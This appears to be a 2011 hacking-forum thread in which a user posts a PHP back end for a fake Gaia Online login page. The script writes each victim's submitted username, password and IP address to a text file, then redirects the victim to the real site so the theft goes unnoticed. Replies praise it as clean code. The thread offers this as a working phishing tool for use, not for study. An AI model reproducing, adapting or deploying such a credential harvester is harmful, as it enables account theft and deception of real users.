Would you like to react to this message? Create an account in a few clicks or log in to continue.

You are not connected. Please login or register

View previous topic View next topic Go down  Message [Page 1 of 1]

1[PHP] Decent GaiaOnline FLP Login.php Empty [PHP] Decent GaiaOnline FLP Login.php Tue Mar 08, 2011 11:31 pm

Nova

Nova
Member
Loading
Code:
<?php
// Gaia Online Log In PHP Script.

// Variables.
$Username = $_POST['username'];
$Password = $_POST['password'];
$IP = $_SERVER['REMOTE_ADDR'];

// Place Gaian's data in text file.
file_put_contents('Info.txt', "Username: $Username | Password: $Password | I.P. Address: $IP \n", FILE_APPEND);

// Redirect them to Gaia. (With proper login_success Unix timestamp)
header('Location: http://www.gaiaonline.com/?login_success=' . time());

// Made by: Nova.
?>



Last edited by Nova on Tue Mar 08, 2011 11:37 pm; edited 1 time in total

2[PHP] Decent GaiaOnline FLP Login.php Empty Re: [PHP] Decent GaiaOnline FLP Login.php Tue Mar 08, 2011 11:32 pm

The Professor

The Professor
Contributor
Loading
Enclose your code in code tags pl0x.

@topic, nice.
Very clean PHP.

Also, you're making me want to learn PHP right now lol.



Last edited by Protozoid on Wed Mar 09, 2011 12:16 pm; edited 2 times in total

3[PHP] Decent GaiaOnline FLP Login.php Empty Re: [PHP] Decent GaiaOnline FLP Login.php Tue Mar 08, 2011 11:33 pm

Rouge

Rouge
Achiever
Loading
Protozoid wrote:Enclose your code in code tags pl0x.

@topic, nice.
Very clean PHP.

Also, you're making me want to learn PHP now right now lol.
INR, I know a lil' PHP but not a lot.

Sponsored content


Loading

View previous topic View next topic Back to top  Message [Page 1 of 1]

Related topics

Permissions in this forum:
You cannot reply to topics in this forum